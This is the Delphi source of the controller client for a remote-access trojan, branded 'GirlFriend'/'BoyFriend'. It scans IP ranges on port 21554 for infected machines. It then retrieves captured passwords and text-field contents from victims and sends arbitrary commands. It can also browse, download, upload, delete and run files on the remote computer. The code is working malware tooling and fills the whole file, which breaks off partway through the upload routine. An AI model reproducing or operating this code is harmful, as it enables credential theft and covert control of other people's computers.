unit main;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  Menus, StdCtrls, Buttons, ScktComp, ExtCtrls, ComCtrls, About, ImgList,
  OleCtrls, ShellAPI;
const WM_NOTIFYMSG=WM_USER+1;
type
  TClientForm = class(TForm)
    stbStatus: TStatusBar;
    ClientSocket: TClientSocket;
    sbConnect: TSpeedButton;
    sbShowPass: TSpeedButton;
    sbAbout: TSpeedButton;
    sbCustom: TSpeedButton;
    sbExit: TSpeedButton;
    ilApp: TImageList;
    sbMessage: TSpeedButton;
    gbLog: TGroupBox;
    gbTree: TGroupBox;
    txtLog: TMemo;
    Label1: TLabel;
    Label2: TLabel;
    PortChange: TButton;
    sbReset: TSpeedButton;
    cmdSave: TButton;
    sd1: TSaveDialog;
    tvApp: TTreeView;
    pmActions: TPopupMenu;
    Showpasswords1: TMenuItem;
    Sendmessage1: TMenuItem;
    Resetpasswordlist1: TMenuItem;
    N3: TMenuItem;
    PingserverAlive1: TMenuItem;
    N2: TMenuItem;
    mnuPlaySound: TMenuItem;
    mnuShowPic: TMenuItem;
    N1: TMenuItem;
    mnuURL: TMenuItem;
    mnuDelim1: TMenuItem;
    mnuShow: TMenuItem;
    N4: TMenuItem;
    mnuConnect: TMenuItem;
    N5: TMenuItem;
    mnuQuit: TMenuItem;
    ilWin: TImageList;
    txtHid: TMemo;
    sbFileManager: TSpeedButton;
    pmFile: TPopupMenu;
    mnuDelete: TMenuItem;
    N6: TMenuItem;
    mnuDownload: TMenuItem;
    mnuDelim: TMenuItem;
    mnuRun: TMenuItem;
    N7: TMenuItem;
    mnuUpload: TMenuItem;
    od1: TOpenDialog;
    IP: TComboBox;
    portvalue: TComboBox;
    procedure ScanIPs;
    procedure ProcessDiskList;
    procedure ClientSocketConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientSocketError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ProcessTree;
    procedure ProcessDirectory;
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure sbConnectClick(Sender: TObject);
    procedure sbShowPassClick(Sender: TObject);
    procedure sbCustomClick(Sender: TObject);
    procedure sbExitClick(Sender: TObject);
    procedure sbAboutClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure sbMessageClick(Sender: TObject);
    procedure txtLogDblClick(Sender: TObject);
    procedure PortChangeClick(Sender: TObject);
    procedure sbResetClick(Sender: TObject);
    procedure cmdSaveClick(Sender: TObject);
    procedure PingserverAlive1Click(Sender: TObject);
    procedure mnuPlaySoundClick(Sender: TObject);
    procedure mnuShowPicClick(Sender: TObject);
    procedure txtLogKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure tvAppKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure portvalue1KeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure IP1KeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure PortChangeKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure cmdSaveKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure NotifyIcon (var TM : TMessage); {message  WM_NOTIFYMSG};
    procedure mnuShowClick(Sender: TObject);
    procedure mnuURLClick(Sender: TObject);
    procedure tvAppExpanding(Sender: TObject; Node: TTreeNode;
      var AllowExpansion: Boolean);
    procedure tvAppCollapsing(Sender: TObject; Node: TTreeNode;
      var AllowCollapse: Boolean);
    procedure sbFileManagerClick(Sender: TObject);
    procedure tvAppDblClick(Sender: TObject);
    procedure tvAppMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure pmFilePopup(Sender: TObject);
    procedure mnuDeleteClick(Sender: TObject);
    procedure mnuRunClick(Sender: TObject);
    procedure mnuDownloadClick(Sender: TObject);
    procedure mnuUploadClick(Sender: TObject);
  protected
    IsServer: Boolean;
  end;
var
  ClientForm: TClientForm;
  Server: String;

implementation

uses MessageUnit;
 const
  CLOSED_ICON=2;
  OPEN_ICON=3;
  BMP_FILE=4;
  EXE_FILE=5;
  WAV_FILE=6;
  USUAL_FILE=7;
  HDD_ICON=8;
  CDROM_ICON=9;
  WrapStr = #13+#10;
  LastPosition = 1000;
 type iptype = record
                ipcount, pcount:integer;
                ip:array[0..99] of string[25];
                port:array [0..99] of integer;
               end;
 var
  Fl: FILE of IPType;
  loading, scanning, working,
  diskmode, TreeCame, recfile,
  DeleteAnswer, FileDestroyed,
  Uploaded : boolean;
  Connection, ServerAnswer : boolean;
  PList : array [1..LastPosition] of string;
  PC: integer;
  CurrIP: string;
  IP_base, IP_count, CurrPort : integer;
  FolderNode : TTreeNode;
  FName, PCN : string;
  FSize, AC, SC : integer;
  FlT : FILE;
  buffer : array [0..16385] of byte;
{$R *.DFM}
 function extract (st : string; ind1, ind2 : integer): string;
  var i: integer;
 begin
  result:='';
  for i:=ind1 to ind2 do
   result:=result+st[i];
 end;
 procedure AddTrayIcon (ID : integer; Hint : string; Icon : TIcon; hWnd : LongInt; CallBack : LongInt);
   var MC : TNotifyIconData;
  begin
   with MC do
    begin
     cbSize := sizeof(TNotifyIconData);
     Wnd := hWnd;
     uID := ID;
     uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
     uCallbackMessage := CallBack;
     hIcon := Icon.Handle;
     if (length(hint)>0) then
       StrLCopy(szTip, PChar(hint), 63)
      else
       szTip[0] := #0;
    end;
   if Shell_NotifyIcon (NIM_ADD, @MC) then
    SetWindowLong(Application.Handle, GWL_EXSTYLE,
     GetWindowLong(Application.Handle, GWL_EXSTYLE) or
       WS_DLGFRAME and not WS_EX_APPWINDOW);
  end;

 procedure ModifyTrayIcon (ID : integer; Hint : string; Icon : TIcon; hWnd : LongInt; CallBack : LongInt);
   var MC : TNotifyIconData;
  begin
   with MC do
    begin
     cbSize := sizeof(TNotifyIconData);
     Wnd := hWnd;
     uID := ID;
     uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
     uCallbackMessage := CallBack;
     hIcon := Icon.Handle;
     if (length(hint)>0) then
       StrLCopy(szTip, PChar(hint), 63)
      else
       szTip[0] := #0;
    end;
   Shell_NotifyIcon (NIM_MODIFY, @MC);
  end;
 procedure DestroyTrayIcon (ID : integer; hWnd : LongInt);
   var MC : TNotifyIconData;
  begin
   with MC do
    begin
     cbSize := sizeof(TNotifyIconData);
     Wnd := hWnd;
     uID := ID;
    end;
   Shell_NotifyIcon (NIM_DELETE, @MC);
  end;
 // Cuts the string at '(' position (when clicking filenames)
 function TrimPRT (ST : string): string;
   var i : integer;
  begin
   result:='';
   for i:=1 to Length(ST)-1 do
    if ST[i+1]='(' then break else result:=result+ST[i];
  end;
 // Duplicates the & symbol - to prevent _
 function DupAmps (var ST : string) : string;
   var i : integer;
  begin
   result:='';
   for i:=1 to Length(ST) do
    if ST[i]<>'&' then result:=result+ST[i]
     else result:=result+'&&';
  end;
procedure TClientForm.ScanIPs;
  var i, DotPos : integer;
      ST, IPT : string;
 begin
  ST:=IP.Text;
  for i:=Length (ST) downto 1 do
   if ST[i]='.' then break;
  DotPos:=i;
  IP_base:=strtoint (extract (ST, i+1, Pos ('+', ST)-1));
  IP_count:=strtoint (extract (ST, Pos ('+', ST)+1, Length (ST)));
  IPT:=copy (ST, 1, DotPos);
  scanning:=true;
  for i:=0 to IP_count do
   begin
    CurrIP:=IPT+inttostr (IP_base+i);
    ClientSocket.Close;
    ClientSocket.Port:=CurrPort;
    ClientSocket.Address:=CurrIP;
    stbStatus.Panels[0].Text := 'Scanning IP '+CurrIP;
    ClientSocket.Open;
    ServerAnswer:=false;
    repeat
     Application.ProcessMessages;
    until ServerAnswer;
    if Connection then break;
   end;
 end;
procedure TClientForm.sbConnectClick(Sender: TObject);
begin
 if sbConnect.caption='Disconnect' then
  begin
   ilWin.GetIcon (0, ClientForm.Icon);
   ModifyTrayIcon (1, 'GirlFriend client v1.2',
    ClientForm.Icon, ClientForm.Handle,
     WM_NOTIFYMSG);
   sbConnect.caption:='Connect';
   mnuConnect.Caption:='Connect';
   sbShowPass.Enabled:=false;
   sbMessage.Enabled:=false;
   sbCustom.Enabled:=false;
   sbFileManager.Enabled:=false;
   ClientForm.Showpasswords1.Enabled:=false;
   ClientForm.Sendmessage1.Enabled:=false;
   ClientForm.Resetpasswordlist1.Enabled:=false;
   ClientForm.PingserverAlive1.Enabled:=false;
   ClientForm.mnuPlaySound.Enabled:=false;
   ClientForm.mnuShowPic.Enabled:=false;
   ClientForm.mnuURL.Enabled:=false;
   sbReset.Enabled:=false;
   PortChange.Enabled:=false;
   clientsocket.socket.SendText('Quiting..');
   clientsocket.Close;
   stbStatus.Panels[0].Text := 'Disconnected';
   exit;
  end;
  if (Length(IP.Text)>0) then
   begin
    if portvalue.text>'' then ClientSocket.Port:=strtoint(portvalue.Text) else
     begin
      ClientSocket.Port:=21554;
      PortValue.Text:=inttostr (ClientSocket.Port);
     end;
    CurrPort:=ClientSocket.Port;
    if Pos('+', IP.Text)=0 then
     begin
      scanning:=false;
      CurrIP:=IP.Text;
      with ClientSocket do
       begin
        Address := IP.Text;
        Open;
       end
     end
      else
       ScanIPs;
   end;
end;
procedure TClientForm.ClientSocketConnect(Sender: TObject;
  Socket: TCustomWinSocket);
var
  i:integer;
  a, b:boolean;
begin
  a:=false;
  b:=false;
  for i:=0 to ip.items.count+1 do if ip.Items[i]=clientsocket.address then a:=true;
  for i:=0 to portvalue.items.count+1 do if portvalue.Items[i]=inttostr(clientsocket.port) then b:=true;
  if a<>true then ip.items.Add(clientsocket.address);
  if b<>true then portvalue.items.Add(inttostr(clientsocket.port));
  ServerAnswer:=true;
  Connection:=true;
  ilWin.GetIcon (1, ClientForm.Icon);
  ModifyTrayIcon (1, 'GirlFriend client v1.2. Connected with '+Socket.RemoteAddress,
    ClientForm.Icon, ClientForm.Handle,
     WM_NOTIFYMSG);
  PortChange.Enabled:=true;
  sbConnect.caption:='Disconnect';
  mnuConnect.Caption:='Disconnect';
  stbStatus.Panels[0].Text := 'Connected to: ' + Socket.RemoteAddress;
  clientsocket.socket.SendText ('ver');
  ClientSocket.Socket.SendText ('time');
  tvApp.Items.Clear;
  sbShowPass.Enabled:=true;
  sbMessage.Enabled:=true;
  sbCustom.Enabled:=true;
  sbReset.Enabled:=true;
  sbFileManager.Enabled:=true;
  ClientForm.Showpasswords1.Enabled:=true;
  ClientForm.Sendmessage1.Enabled:=true;
  ClientForm.Resetpasswordlist1.Enabled:=true;
  ClientForm.PingserverAlive1.Enabled:=true;
  ClientForm.mnuPlaySound.Enabled:=true;
  ClientForm.mnuShowPic.Enabled:=true;
  ClientForm.mnuURL.Enabled:=true;
end;

 procedure TClientForm.ProcessTree;
   var i: integer;
       First, TMP, found : TTreeNode;
       ST, FT : string;
   function FindNode (caption : string): boolean;
     var c : integer;
    begin
     result:=false;
     for c:=0 to tvApp.Items.Count-1 do
      if tvApp.Items.Item[c].Text=caption then
       begin
        result:=true;
        found:=tvApp.Items.Item[c];
        break;
       end;
    end;
  begin
   tvApp.Items.Clear;
   First:=tvApp.Items.GetFirstNode;
   for i:=1 to PC do
    begin
     ST:=extract (PList[i], 1, Pos ('___', PList[i])-1);
     if not(FindNode(ST)) then
      begin
       TMP:=tvApp.Items.Add (First, ST);
       TMP.ImageIndex:=0;
       TMP.SelectedIndex:=0;
     end;
    end;
   for i:=1 to PC do
    begin
     ST:=extract (PList[i], 1, Pos ('___', PList[i])-1);
     FT:=extract (PList[i], Pos ('___', PList[i])+3, Length(PList[i]));
     if FindNode(ST) then
      begin
       TMP:=tvApp.Items.AddChild (found, FT);
       TMP.ImageIndex:=1;
       TMP.SelectedIndex:=1;
      end;
    end;
  end;

 procedure TClientForm.ProcessDiskList;
   var TMP, First : TTreeNode;
       i : integer;
       ST : string;
  begin
   tvApp.Items.Clear;
   First:=tvApp.Items.GetFirstNode;
   for i:=1 to PC do
    begin
     ST:=extract (PList[i], 3, Length(PList[i])-1);
     TMP:=tvApp.Items.Add (First, ST);
     case PList[i][1] of
      'H' : begin
             TMP.ImageIndex:=HDD_ICON;
             TMP.SelectedIndex:=HDD_ICON;
            end;
      'C' : begin
             TMP.ImageIndex:=CDROM_ICON;
             TMP.SelectedIndex:=CDROM_ICON;
            end;
     end;
     TMP:=tvApp.Items.AddChild (TMP, 'Loading...');
     TMP.SelectedIndex:=-1;
     TMP.ImageIndex:=-1;
    end;

  end;
 procedure TClientForm.ProcessDirectory;
   var i : integer;
       ST : string;
       CP : char;
       TMP : TTreeNode;
   procedure SetIcon (ic : integer);
    begin
     TMP.ImageIndex:=ic;
     TMP.SelectedIndex:=ic;
    end;
  begin
   working:=true;
   diskmode:=false;
   FolderNode.DeleteChildren;
   for i:=1 to PC do
    begin
     ST:=extract (PList[i], 3, Length(PList[i]));
     CP:=PList[i][1];
     TMP:=tvApp.Items.AddChild (FolderNode, ST);
     case CP of
      'E': SetIcon (EXE_FILE);
      'W': SetIcon (WAV_FILE);
      'B': SetIcon (BMP_FILE);
      'U': SetIcon (USUAL_FILE);
      'F': begin
            SetIcon (CLOSED_ICON);
            TMP:=tvApp.Items.AddChild (TMP, 'Loading...');
            SetIcon (-1);
           end;
      end;
    end;
   FolderNode.Expand (FALSE);
   diskmode:=true;
   TreeCame:=true;
   working:=false;
  end;
 procedure TClientForm.ClientSocketRead(Sender: TObject;
          Socket: TCustomWinSocket);
   var RST : string;
       i : integer;
  begin
   if (recfile) then
    begin
     repeat
      Application.ProcessMessages;
      AC:=Socket.ReceiveBuf (buffer, 1024);
      if AC>0 then
       begin
        SC:=SC+AC;
        Str (round(100*SC/FSize):3, PCN);
        stbStatus.Panels[0].Text:='Receiving '+FName+'. '+PCN+'% done.';
        stbStatus.Refresh;
        BlockWrite (FlT, buffer, AC);
       end;
     until SC>=FSize;
     if recfile then
      begin
       CloseFile (FlT);
       txtLog.Lines.Add ('Downloading complete.');
       stbStatus.Panels[0].Text:='Waiting for command.';
      end;
     working:=false;
     recfile:=false;
     exit;
    end;

   if not(working) then
    begin
     RST:=Socket.ReceiveText;
     if RST='Uploading complete.' then
      begin
       Uploaded:=true;
       ServerAnswer:=True;
      end
       else
        ServerAnswer:=True;
     if Pos ('FCOMP}', RST)<>0 then
      begin
       working:=true;
       loading:=false;
       // Compress the txtHid
       for i:=0 to txtHid.Lines.Count-1 do
        if txtHid.Lines.Strings[i]='' then txtHid.Lines.Delete(i);
       FSize:=strtoint(txtHid.Lines.Strings[0]);
       FName:=txtHid.Lines.Strings[1];
       AssignFile (FlT, FName);
       ReWrite (FlT, 1);
       for i:=0 to Length(RST)-9 do
        buffer[i]:=ord(RST[i+7]);

       BlockWrite (FlT, buffer, Length(RST)-9, SC);
       recfile:=true;
       exit;
      end;

     if loading then txtHid.Text:=txtHid.Text+RST;
     if (pos('{PLTS}',RST)>0) then
      begin
       txtHid.Lines.Clear;
       txtHid.text:=copy(RST,7,length(rst)-6);
       loading:=true;
      end;
     if (pos('{TDSS}',RST)>0) then
      begin
       txtHid.Lines.Clear;
       txtHid.text:=copy(RST,7,length(rst)-6);
       loading:=true;
      end;
     if (pos('{FSEND}', RST)>0) then
      begin
       txtHid.Lines.Clear;
       txtHid.text:=copy(RST,8,length(rst)-7);
       loading:=true;
      end;


     if (pos('{LFTM}',RST)>0) then
      begin
       txtHid.Lines.Clear;
       txtHid.text:=copy(RST,7,length(rst)-6);
       loading:=true;
      end;
     if (not(loading)) then
      begin
       if RST='File deleted.' then
        begin
         FileDestroyed:=true;
         DeleteAnswer:=true;
        end;
       if RST='Delete Error.' then
        begin
         FileDestroyed:=false;
         DeleteAnswer:=true;
        end;

       txtLog.Lines.Add (RST);
       exit;
      end;

     if pos('TPL}',txtHid.Lines.Strings [txtHid.Lines.Count-1])>0 then
      begin
       loading:=false;
       PC:=0;
       for i:=0 to txtHid.Lines.Count-1 do
        if (txtHid.Lines.Strings [i]<>'') and (txtHid.Lines.Strings[i]<>'{FTPL}')
         and (Pos ('___', txtHid.Lines.Strings[i])<>0) then
          begin
           Inc (PC);
           PList [PC]:=txtHid.Lines.Strings[i];
          end;
       gbTree.Caption:=' Password && text fields ';
       ProcessTree;
       diskmode:=false;
       exit;
      end;
     if pos('FDT}',txtHid.Lines.Strings [txtHid.Lines.Count-1])>0 then
      begin
       loading:=false;
       PC:=0;
       for i:=0 to txtHid.Lines.Count-1 do
        if (txtHid.Lines.Strings[i]<>'') and
         (txtHid.Lines.Strings[i]<>'{FFDT}') then
          begin
           Inc (PC);
           PList[PC]:=txtHid.Lines.Strings[i];
          end;
       gbTree.Caption:=' File Manager ';
       ProcessDiskList;
       diskmode:=true;
       exit;
      end;
     if pos('ETL}',txtHid.Lines.Strings [txtHid.Lines.Count-1])>0 then
      begin
       loading:=false;
       PC:=0;
       for i:=0 to txtHid.Lines.Count-1 do
        if (txtHid.Lines.Strings[i]<>'') and
           (Length(txtHid.Lines.Strings[i])>8) then
         begin
          Inc (PC);
          PList[PC]:=txtHid.Lines.Strings[i];
          if (PC+1)>LastPosition then break;
         end;
       ProcessDirectory;
       exit;
      end;

    end;
end;
procedure TClientForm.ClientSocketError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
 if not(scanning) then
  stbStatus.Panels[0].Text := 'Error connecting to : ' + CurrIP
 else
  begin
   ServerAnswer:=true;
   Connection:=false;
  end;
 ErrorCode := 0;
end;
procedure TClientForm.FormClose(Sender: TObject; var Action: TCloseAction);
var ipdata:iptype;
    i:integer;
begin
 AssignFile (fl, 'hosts.ip');
 if fileexists ('hosts.ip') then reset (fl)
 else rewrite (fl);
 seek(fl,0);
 for i:=0 to ip.items.Count-1 do ipdata.ip[i]:=ip.items[i];
 for i:=0 to portvalue.items.Count-1 do ipdata.port[i]:=strtoint(portvalue.items[i]);
 ipdata.pcount:=portvalue.items.count;
 ipdata.ipcount:=ip.items.count;
 write(fl,ipdata);
 closefile(fl);
 if clientsocket.Active then begin
 clientSocket.Socket.SendText('Quiting..');
 clientsocket.close;
 end;
end;
procedure TClientForm.sbShowPassClick(Sender: TObject);
begin
 if (ClientSocket.Active) and (not(loading)) then clientsocket.socket.SendText ('Old me show?');
end;
procedure TClientForm.sbCustomClick(Sender: TObject);
var strtos:string;
begin
 if inputquery ('Custom', 'Enter command: ', strtos) then clientsocket.socket.SendText (strtos);
end;
procedure TClientForm.sbExitClick(Sender: TObject);
begin
 DestroyTrayIcon (1, ClientForm.Handle);
 clientsocket.Socket.SendText ('Quiting..');
 if clientsocket.Active then clientsocket.close;
 halt(0);
end;
procedure TClientForm.sbAboutClick(Sender: TObject);
begin
 AboutForm.ShowModal;
end;
procedure TClientForm.FormCreate(Sender: TObject);
var ipdata:iptype;
    i:integer;
begin
 if fileexists ('hosts.ip') then
  begin
   AssignFile (fl, 'hosts.ip');
   ReSet (fl);
   Read(fl, ipdata);
   for i:=0 to ipdata.ipcount-1 do ip.items.Add (ipdata.ip[i]);
   for i:=0 to ipdata.pcount-1 do portvalue.items.add (inttostr(ipdata.port[i]));
   clientsocket.address:=ipdata.ip[ipdata.ipcount-1];
   clientsocket.port:=ipdata.port[ipdata.pcount-1];
   ip.text:=ipdata.ip[ipdata.ipcount-1];
   portvalue.Text:=inttostr(ipdata.port[ipdata.pcount-1]);
   closefile (fl);
  end;
 diskmode:=false;
 working:=false;
 loading:=false;
end;
procedure TClientForm.sbMessageClick(Sender: TObject);
begin
 frmMessage.ShowModal;
end;

procedure TClientForm.txtLogDblClick(Sender: TObject);
begin
 txtlog.Lines.clear;
end;
procedure TClientForm.PortChangeClick(Sender: TObject);
begin
 if portvalue.text<>'' then
  begin
   ClientSocket.Socket.SendText ('setport'+portvalue.Text);
   ClientSocket.close;
   Clientsocket.port:=strtoint(portvalue.text);
   clientsocket.open;
  end;
end;

procedure TClientForm.sbResetClick(Sender: TObject);
begin
 if (clientsocket.active) and (not(loading)) then clientsocket.socket.SendText ('RESETALL');
end;

procedure TClientForm.cmdSaveClick(Sender: TObject);
  var i : integer;
      Fl: TextFILE;
      FS : string;
  function RPSP (tms : integer) : string;
    var i : integer;
   begin
    result:='';
    if tms>0 then
     for i:=1 to tms do
      result:=result+' ';
   end;
begin
 if sd1.Execute then
  begin
   AssignFile (Fl, sd1.FileName);
   ReWrite (Fl);
   for i:=0 to tvApp.Items.Count-1 do
    begin
     FS:='['+inttostr(i+1)+']'+
         RPSP(tvApp.Items[i].Level)+
          tvApp.Items[i].Text;
     WriteLn (Fl, FS);
    end;
   CloseFile (Fl);
  end;
end;

procedure TClientForm.PingserverAlive1Click(Sender: TObject);
begin
 if not(loading) then clientsocket.socket.SendText ('TEST?');
end;

procedure TClientForm.mnuPlaySoundClick(Sender: TObject);
 var strtos: string;
begin
 strtos:='';
 if not(loading) then if inputquery ('Play sound', 'Enter full && exact path to .wav file: ', strtos) then clientsocket.socket.SendText ('{S}'+strtos);
end;

procedure TClientForm.mnuShowPicClick(Sender: TObject);
 var strtos: string;
begin
  strtos:='';
 if not(loading) then if inputquery ('Show bitmap', 'Enter full && exact path to .bmp file: ', strtos) then clientsocket.socket.SendText ('{P}'+strtos);
end;
 procedure AnswerF12 (KC : Word);
   var TMS : string;
  begin
   if KC=VK_F12 then
    begin
     ClientForm.mnuShow.Visible:=true;
     ClientForm.mnuShow.Default:=true;
     ClientForm.mnuDelim1.Visible:=true;
     TMS:='BoyFriend (client) version: 1.35';
     if ClientForm.ClientSocket.Socket.Connected then
      TMS:=TMS+'. Connected with '+ClientForm.ClientSocket.Address;
     AddTrayIcon (1, TMS,
      ClientForm.Icon, ClientForm.Handle,
       WM_NOTIFYMSG);
     ClientForm.Hide;
    end;
  end;
 procedure TClientForm.NotifyIcon (var TM : TMessage);
   var AC : LongInt;
       CP : TPoint;
  begin
   AC:=TM.LParam;
   if AC=WM_LBUTTONDBLCLK then
    begin
     ClientForm.mnuShow.Visible:=false;
     ClientForm.mnuShow.Default:=false;
     ClientForm.mnuDelim1.Visible:=false;
     ClientForm.Show;
     DestroyTrayIcon (1, ClientForm.Handle);
    end;
   if AC=WM_RBUTTONDOWN then
    begin
     GetCursorPos (CP);
     pmActions.Popup (CP.X, CP.Y);
    end;
  end;
procedure TClientForm.txtLogKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
 AnswerF12 (Key);
end;

procedure TClientForm.tvAppKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  AnswerF12 (Key);
end;

procedure TClientForm.portvalue1KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
 AnswerF12 (Key);
end;

procedure TClientForm.IP1KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  AnswerF12 (Key);
end;

procedure TClientForm.PortChangeKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  AnswerF12 (Key);
end;

procedure TClientForm.cmdSaveKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  AnswerF12 (Key);
end;

procedure TClientForm.FormKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  AnswerF12 (Key);
end;

procedure TClientForm.mnuShowClick(Sender: TObject);
begin
 ClientForm.mnuShow.Visible:=false;
 ClientForm.mnuShow.Default:=false;
 ClientForm.mnuDelim1.Visible:=false;
 ClientForm.Show;
 DestroyTrayIcon (1, ClientForm.Handle);
end;

procedure TClientForm.mnuURLClick(Sender: TObject);
 var strtos : string;
begin
 strtos:='';
 if not(loading) then
  if inputquery ('Go to URL', 'Enter URL (with http://). ', strtos) then clientsocket.socket.SendText ('{U}'+strtos);
end;

procedure TClientForm.tvAppExpanding(Sender: TObject; Node: TTreeNode;
    var AllowExpansion: Boolean);
  begin
   AllowExpansion:=(Node.getFirstChild.ImageIndex<>-1);
   if not(AllowExpansion) then
    begin
     tvApp.Selected:=Node;
     tvAppDblClick (Sender);
    end
    else
     if Node.ImageIndex=CLOSED_ICON then
      begin
       Node.ImageIndex:=OPEN_ICON;
       Node.SelectedIndex:=OPEN_ICON;
      end;
  end;

procedure TClientForm.tvAppCollapsing(Sender: TObject; Node: TTreeNode;
  var AllowCollapse: Boolean);
begin
 if Node.ImageIndex=OPEN_ICON then
  begin
   Node.ImageIndex:=CLOSED_ICON;
   Node.SelectedIndex:=CLOSED_ICON;
  end;
end;

procedure TClientForm.sbFileManagerClick(Sender: TObject);
begin
 if (ClientSocket.Active) and (not(loading)) then clientsocket.socket.SendText ('getbaselist');
end;

 procedure TClientForm.tvAppDblClick(Sender: TObject);
   var Start : TTreeNode;
       Path : string;
  begin
   if (diskmode) then
    begin
     if (tvApp.Selected.Data=nil) and
     (tvApp.Selected.ImageIndex in
      [CLOSED_ICON, OPEN_ICON, HDD_ICON,
       CDROM_ICON]) then
        begin
         FolderNode:=tvApp.Selected;
         Start:=tvApp.Selected;
         tvApp.Selected.Data:=@loading;
         Path:=Start.Text+'\';
         if Start.Level>0 then
          repeat
           Start:=Start.Parent;
           Path:=Start.Text+'\'+Path;
          until Start.Level=0;
         if ClientSocket.Active then
          ClientSocket.Socket.SendText  ('diskget'+Path);
        end;
     if (tvApp.Selected.ImageIndex in
      [BMP_FILE, WAV_FILE, EXE_FILE]) then
      begin
       Start:=tvApp.Selected;
       Path:=TrimPRT (Start.Text);
       if Start.Level>0 then
        repeat
         Start:=Start.Parent;
         Path:=Start.Text+'\'+Path;
        until Start.Level=0;
       case tvApp.Selected.ImageIndex of
        BMP_FILE : Path:='{P}'+Path;
        WAV_FILE : Path:='{S}'+Path;
        EXE_FILE : Path:='{U}'+Path;
       end;
       if not(loading) then clientsocket.socket.SendText (Path);
      end;
    end;
  end;

procedure TClientForm.tvAppMouseDown(Sender: TObject; Button: TMouseButton;
  Shift: TShiftState; X, Y: Integer);
  var CP : TPoint;
begin
 if (Button=mbRight) and (diskmode) then
  begin
   GetCursorPos (CP);
   pmFile.Popup (CP.X, CP.Y);
  end;
end;

 procedure TClientForm.pmFilePopup(Sender: TObject);
  begin
   mnuDownload.Enabled:=(tvApp.Selected.ImageIndex in
    [BMP_FILE, WAV_FILE, EXE_FILE, USUAL_FILE]);
   mnuDelete.Enabled:=mnuDownload.Enabled;
   mnuDelim.Visible:=false;
   mnuRun.Visible:=false;
   if (tvApp.Selected.ImageIndex in
    [BMP_FILE, WAV_FILE, EXE_FILE]) then
     begin
      mnuDelim.Visible:=true;
      mnuRun.Visible:=true;
      mnuRun.Default:=true;
      mnuRun.ImageIndex:=tvApp.Selected.ImageIndex;
      case tvApp.Selected.ImageIndex of
       BMP_FILE : mnuRun.Caption:='Show';
       WAV_FILE : mnuRun.Caption:='Play';
       EXE_FILE : mnuRun.Caption:='Run';
      end;
     end;
   mnuDelete.Enabled:=not (tvApp.Selected.ImageIndex in [HDD_ICON, CDROM_ICON]);
  end;

 procedure TClientForm.mnuDeleteClick(Sender: TObject);
   var Start, TrueChild : TTreeNode;
       Path : string;
  begin
   Start:=tvApp.Selected;
   TrueChild:=tvApp.Selected;
   Path:=TrimPRT (Start.Text);
   if Start.Level>0 then
    repeat
     Start:=Start.Parent;
     Path:=Start.Text+'\'+Path;
    until Start.Level=0;

   if MessageDlg ('Really delete '+DupAmps(Path)+' ?', mtConfirmation, [mbYes, mbNo], 0)=
    mrYes then
    if ClientSocket.Active then
     ClientSocket.Socket.SendText ('delfile'+Path);
   DeleteAnswer:=false;
   FileDestroyed:=false;
   repeat
    Application.ProcessMessages;
   until DeleteAnswer;
   if FileDestroyed then
    TrueChild.Delete;
  end;

procedure TClientForm.mnuRunClick(Sender: TObject);
begin
 tvAppDblClick (Sender);
end;

procedure TClientForm.mnuDownloadClick(Sender: TObject);
   var Start : TTreeNode;
       Path : string;
  begin
   Start:=tvApp.Selected;
   Path:=TrimPRT (Start.Text);
   if Start.Level>0 then
    repeat
     Start:=Start.Parent;
     Path:=Start.Text+'\'+Path;
    until Start.Level=0;
   if MessageDlg ('Download '+DupAmps(Path)+' ?', mtConfirmation, [mbYes, mbNo], 0)=
    mrYes then
    if ClientSocket.Active then
     ClientSocket.Socket.SendText ('getfile'+Path);
  end;

 procedure TClientForm.mnuUploadClick(Sender: TObject);
   var Fl : FILE;
       Query : string;
       i, BSent : integer;
       Folder : TTreeNode;
       RemotePath : string;
  begin
   if od1.Execute then
    begin
     Folder:=tvApp.Selected;
     if Folder.ImageIndex in
      [EXE_FILE, BMP_FILE, WAV_FILE, USUAL_FILE] then
       Folder:=Folder.Parent;
     FolderNode:=Folder;
     RemotePath:=Folder.Text+'\';
     if Folder.Level>0 then
      repeat
       Folder:=Folder.Parent;
       RemotePath:=Folder.Text+'\'+RemotePath;
      until Folder.Level=0;
     FName:=od1.FileName;
     AssignFile (Fl, FName);
     {$I-}
     ReSet (Fl, 1);
     {$I+}
     if IOResult<>0 then
      begin
       MessageDlg ('Error accessing file.', mtError, [mbOK], 0);
       exit;
      end;
     FSize:=FileSize(Fl);
     Query:='';
     for i:=Length(FName) downto 1 do
      if FName[i]='\' then break else Query:=FName[i]+Query;
     Query:=Query+':::'+inttostr(FSize);
     if ClientSocket.Active then
      begin
       ClientSocket.Socket.SendText ('takefile'+RemotePath+Query+WrapStr);
       Sleep (1000); // !!!!DON'T REMOVE THIS COMMENT!!!!              - что, поверили ?!? :)
       repeat
        BlockRead (Fl, buffer, 1024, BSent);
        if BSent>0 then
         ClientSocket.Socket.SendBuf (buffer, BSent);
       until EOF (Fl);
       ServerAnswer:=false;
